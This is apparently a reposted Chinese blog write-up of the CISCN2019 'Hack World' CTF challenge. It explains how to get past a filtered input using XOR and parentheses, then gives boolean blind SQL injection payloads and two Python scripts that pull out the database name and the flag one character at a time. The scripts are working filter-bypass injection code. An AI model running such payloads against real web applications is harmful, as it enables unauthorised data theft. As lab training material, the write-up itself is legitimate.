复习[CISCN2019 华北赛区 Day2 Web1]Hack World -----sql注入

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了复习[CISCN2019 华北赛区 Day2 Web1]Hack World -----sql注入相关的知识,希望对你有一定的参考价值。

一、自己做:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

输入1和2 的时候是有正常的查询结果的。然后输入3的话就超过了。 输入其他的,不是id数字的就直接bool (false)

然后fuzz测试:482是给过滤的。

过滤了不少,仔细看一下,

  • handler过滤了。像强网杯的那些就不行了。
  • information 被过滤了。可以用那些sys来查找表明,然后用无列名注入就好。
  • limit 被过滤了。要么就union select 要么就不用了。
  • 或,与过滤了。可以用 ^异或。
  • 空格,注释符,/**/都被过滤了。那么只能够使用 ()括号来了。

先不分析了。尝试一下把,

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
还是老思路:先尝试 联合查询注入,然后才是 bool 盲注。
联合查询好像不行:union不行,空格,/**/都不行,直接换bool盲注了。

初步的,最简单的bool盲注是好的:

0^(ascii(substr(database(),1,1))=1)
import requests
import re

database=''
url='http://3827197b-3b41-4d71-951d-068bca10f5d1.node3.buuoj.cn/index.php'
for i in range(1,20):
    for j in range(32,140):

        payload="""0^(ascii(substr(database(),{},1))={})""".format(i,j)
        data={"id":payload}
        resp = requests.post(url=url,data=data)
        # obj=re.compile("Hello, glzjin wants a girlfriend",re.S) # 换行匹配。
        if 'Hello, glzjin wants a girlfriend' in resp.text:
            database = database + chr(j)
            print (database)
            break
        else:print (1 ,end =' ')

爆出来的数据库是ctftrainin

其实这个不用的,题目已经告诉了。字段和表名了。
直接select(flag)from(flag)。不能用limit,那就group_concat()
select(group_concat(flag))from(flag)…。。这样我不会上括号啊。。
然后看WP,,
,,
差点忘了,这个是bool盲注,要用ascii的,而且不用limit ,也就不用group_concat 了。这里暗示就一列数据,
就好了。

0^(ascii(substr((select(flag)from(flag)),1,1))>0)
import requests
import re

database=''
url='http://3827197b-3b41-4d71-951d-068bca10f5d1.node3.buuoj.cn/index.php'
for i in range(1,60):
    for j in range(32,140):

        payload="""0^0^(ascii(substr((select(flag)from(flag)),{},1))={})""".format(i,j)
        data={"id":payload}
        resp = requests.post(url=url,data=data)
        # obj=re.compile("Hello, glzjin wants a girlfriend",re.S) # 换行匹配。
        if 'Hello, glzjin wants a girlfriend' in resp.text:
            database = database + chr(j)
            print (database)
            break
        else:print (1 ,end =' ')

二、 学到的:不足:

  1. 到后面就忘记了要用 bool盲注了。又想去用 group_concat和 llimit这些,题目已经给了暗示了,
  2. 补充一些思路点,

以上是关于复习[CISCN2019 华北赛区 Day2 Web1]Hack World -----sql注入的主要内容,如果未能解决你的问题,请参考以下文章

[CISCN 2019华北Day2]Web1

[CISCN2019 华东南赛区]Web11

[CISCN2019 华东南赛区]Double Secret

BUUCTF:[CISCN2019 华东南赛区]Web11

BUUCTF:[CISCN2019 华东南赛区]Web11

BUUCTF:[CISCN2019 华东南赛区]Web11